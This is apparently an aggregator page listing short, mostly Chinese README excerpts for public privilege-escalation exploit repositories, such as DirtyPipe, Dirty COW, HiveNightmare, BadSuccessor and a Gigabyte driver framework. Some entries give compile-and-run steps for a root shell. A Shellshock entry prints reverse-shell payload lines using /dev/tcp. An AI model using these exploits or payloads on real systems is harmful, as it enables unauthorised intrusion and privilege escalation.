CVE-2022-0847-DirtyPipe-Exploit

CVE-2022-0847-DirtyPipe 漏洞简介 3 月 7 日，国外的安全研究员 Max Kellermann 发布博客，披露了一处存在于Linux 内核中的本地提权漏洞 CVE-2022-0847： https://dirtypipe.cm4all.com/ CVE-2022-0847 是存在于 Linux内核 5.8 及之后版本中的本地提权漏洞。攻击者通过利用此漏洞，可覆盖重写任意可读文件中的数据，从而可将普通权限的用户提升到特权 root。 CVE-2022-0847 的漏洞原理类似于 CVE-2016-5195 脏牛漏洞（Dirty...

CVE-2018-19323

CVE-2018-19323：技嘉 GDrv 利用框架 概述 本仓库包含针对 CVE-2018-19323 的完整高级利用框架，该漏洞存在于技嘉 gdrv.sys 驱动中。此漏洞允许无特权用户读写任意模型特定寄存器（MSR），从而导致完整的 Ring-0（内核）沦陷，并将权限提升至 NT AUTHORITY\SYSTEM。 该框架设计为模块化、健壮且功能丰富，为安全研究、红队行动和漏洞分析提供了全面的工具。 主要特性 完整内核利用： 通过泄露 IA32LSTAR MSR 获得内核基址并执行令牌窃取 shellcode，实现权限提升。 多架构支持： 动态适配 x86 、x64 和 ARM6...

CVE-2022-0847-dirty-pipe-exploit

CVE-2022-0847-dirty-pipe-exploit 针对CVE-2022-0847脏管道漏洞的一个利用 使用方法 通过 gcc exploit.c -o exploit 编译（假设已安装gcc） 运行 ./exploit 即可获得root shell 如果出现类似这样的错误信息，则： 以 root 身份登录，密码为 cspshivam 然后，通过运行 mv /tmp/passwd.bak /etc/passwd 恢复 /etc/passwd...

CVE-2025-32463

README - sudo-chwoot.sh 描述 此脚本是一个概念验证（PoC），演示了一种利用 sudo 中理论漏洞（例如 CVE-2025-32463）的权限提升技术。 该 PoC 通过利用 -R（chroot）功能和自定义的 nsswitch.conf 配置，强制 sudo 加载一个被操纵的 .so 库。 注意：此脚本仅用于研究或在受控环境中测试。不得在生产系统或非自己拥有或管理的机器上执行。 目标 创建一个包含自定义 NSS 配置的临时环境。 在 chroot 结构中注入一个 .so 库。 使用 sudo -R 强制加载该库，并以高权限执行命令。 主要修改...

CVE-2025-21420-PoC

CVE-2025-21420 PoC Windows Disk Cleanup Tool Elevation of Privilege Vulnerability AFAIK, albeit incomplete, this is the first PoC to this CVE. https://nvd.nist.gov/vuln/detail/CVE-2025-21420 https://vulners.com/cve/CVE-2025-21420 We found a way to DLL sideload with cleanmgr.exe $ cp .\dokan1.dll...

reverse-shell

reverse-shell Reverse Shell as a Service - https://reverse-shell.sh Easy to remember reverse shell that should work on most Unix-like systems. Detects available software on the target and runs an appropriate payload. Usage 1. Listen for connection On your machine, open up a port and listen on it...

CVE-2021-41091

CVE-2021-41091 该漏洞利用深入分析了 CVE-2021-41091 安全漏洞，并提供了如何利用漏洞利用脚本在主机上实现权限提升的分步指南。 漏洞概述 CVE-2021-41091 是 Moby（Docker 引擎）中的一个缺陷，由于权限限制不当，允许非特权 Linux 用户在数据目录（通常位于 /var/lib/docker）中遍历并执行程序。当容器包含具有扩展权限（例如 setuid）的可执行程序时，就会出现此漏洞。非特权 Linux 用户随后可以发现并执行这些程序，并且如果主机上用户的 UID 与容器内的文件所有者或组匹配，还可以修改文件。 Overlay 文件系统...

Invoke-HiveNightmare

Invoke-HiveNightmare 基于PowerShell的CVE-2021-36934概念验证（PoC），使标准用户能够检索Windows 10版本1809或更新版本中的SAM、安全及软件注册表配置单元（Registry hives）。 情况说明 在特定版本的Windows 10中，标准用户对SYSTEMROOT\System32\Config目录下的文件拥有读取/执行权限，而该目录正是注册表配置单元在磁盘上的存放位置。不过，用户无法直接导航到该目录并复制粘贴，因为配置单元在系统启动时会加载到内存中并被锁定。如果存在卷影副本（Volume Shadow...

CVE-2025-2304-CamaleonCMS-PoC

PoC：CVE-2025-2304 - Camaleon CMS 权限提升 技术概述 本仓库包含一个针对 Camaleon CMS （2.8.1 之前版本）中 Mass Assignment 漏洞的功能性概念验证 PoC。该漏洞位于用户管理模块的 updatedajax 端点，应用程序未能严格过滤 password 参数哈希中的敏感属性。 通过在配置文件更新期间向 password 作用域注入 role 属性，低权限用户可以覆盖自身的权限以获得 admin 状态。 漏洞机制 该漏洞源于 Ruby on Rails 控制器中 Strong Parameters 的配置错误。当应用程序处理...

Shell-Shock

Shell Shock 作者 : [email protected] 维护者 : 部门 : DevOps 许可证 : 概述 Shell Shock : 特权提升，远程代码执行 Unix Bash Shell 中的一系列漏洞。允许执行任意命令。 利用向量 有效载荷 shellshock 用户代理 = User-Agent: :; ; rshell 载荷 = bash -i & /dev/tcp/127.0.0.1 rshell 重定向到监听器 = bash -i & /dev/tcp/$YOURIP:$PORT 技巧 设计 : 目的 : 内容 : 服务器 : 应用 : 数据库 :...

CVE-2024-0582

RU GenIoURingExploit 是一个针对 Linux 内核特定漏洞 CVE-2024-0582 的 PoC 利用程序。该 PoC 利用 iouring 机制，通过操纵套接字缓冲区并触发某些内核行为，获取未授权访问并可能提升权限。 特性 利用 iouring 实现高效的缓冲区操作。 演示 KASLR（内核地址空间布局随机化）泄漏。 利用与套接字缓冲区管理相关的漏洞。 通过受控的 IOCTL 调用触发利用。 提供通过内核操作执行任意 shell 命令的路径。 前提条件 基于 Linux 的系统（已在最新的发行版上测试）。 访问所需资源的 root 或管理员权限。 用于编译 C...

CVE-2017-11783

CVE-2017-11783 1day 漏洞利用 by sheisback 这不是完整的漏洞利用（以系统权限执行命令），仅能在 system32 中创建文件。 因此你需要完成此利用，需要 consent.exe UAC 技术。 参考 ALPC-RPC 解析 by Clément Rouault & Thomas Imbert, 2017 PacSec...

Invoke-BadSuccessor.ps1

Invoke-BadSuccessor 滥用委派托管服务帐户 dMSA 在易受攻击的组织单位 OU 上的创建权限，以在 Active Directory 环境中提升权限（BadSuccessor 漏洞 – CVE-2025-53779）。 概述 Invoke-BadSuccessor 通过利用 Windows Server 2025 Active Directory 中的 dMSA 错误配置和委派，自动化特权提升攻击链： 识别当前用户（或其组）拥有 CreateChild 权限的 OU。 创建或重用计算机帐户 。 创建或重用委派托管服务帐户 dMSA 。 授予用户对 dMSA 的...

CVE-2026-50656-rogueplanet-validation

针对 Microsoft Defender 的 RoguePlanet PoC 验证报告 报告目的与范围 本报告涉及公开描述的与 Microsoft Defender 相关的 RoguePlanet PoC 的验证。该技术在媒体上于2026年6月10日被描述为本地权限提升（LPE），本地用户可通过该技术获取 NT AUTHORITY\SYSTEM 权限。公开描述指出，该机制使用了 Microsoft Defender 在处理或扫描文件时使用的函数。 测试的目的在于确定该漏洞能否在受控实验室环境中准备和执行，并观察在最新的 Windows 11 系统上 Microsoft Defender...

dirtcow

dirtcow 脏牛Linux本地提权漏洞复现CVE-2016-5195 0、 使用命令 uname -a 命令查看linux内核信息 1、 下载EXP到本地/服务器 2、 使用 gcc -pthread dirty.c -o dirty -lcrypt 命令对dirty.c进行编译，生成一个dirty的可执行文件 3、 执行 ./dirty pass ，即可进行提权，pass为设置的密码 参考链接：https://www.jianshu.com/p/df72d1ee1e3e http://ftp.gnu.org/gnu/gcc/gcc-7.2.0/gcc-7.2.0.tar.gz...

cve-2022-21882-poc

cve-2022-21882-poc cve-2022-21882 的本地提权 POC...

CVE-2023-38041-POC

CVE-2023-38041-POC Ivanti Pulse Secure 客户端连接本地权限提升 CVE-2023-38041 概念验证...

BackupOperatorToolkit

BackupOperatorToolkit 使用方法 BackupOperatorToolkit BOT 有四种不同的模式，允许您从 Backup Operator 升级到 Domain Admin。 在运行该工具之前，请使用 "runas.exe /netonly /user:domain.dk\backupoperator powershell.exe"。 服务模式 SERVICE 模式会在远程主机上创建一个服务，该服务将在主机重启时执行。 该服务通过修改远程注册表创建。这是通过将 "REGOPTIONBACKUPRESTORE" 值传递给 RegOpenKeyExA 和...

ghostlock-cve-2026-43499-4.19-k40

GhostLock — PoC de CVE-2026-43499 kernel Qualcomm 4.19 Escalada local de privilegios que explota CVE-2026-43499 — un bug de rtmutex removewaiter que deja un struct rtmutexwaiter colgando en la pila del kernel del waiter kernel/locking/rtmutex.c, CWE-416 use-after-free. Adaptado de...

AndroidKernelVulnerability

Android 内核漏洞 概述 2017 年 11 月，syzkaller 系统检测到 Linux 内核 的一个 use-after-free 漏洞。2018 年 2 月，一些 Linux 内核和 Android 版本中修补了此漏洞。 此修复从未包含在 Android 月度安全公告 中，因此许多新发布的设备（如 Pixel 和 Pixel2）并未修补此漏洞。 2019 年 9 月，Project Zero 向 Android 通报了此漏洞的安全影响。随后，Android 为此漏洞分配了 CVE-2019-2215，使其更为正式和公开。 CVE-2019-2215 是 binder.c...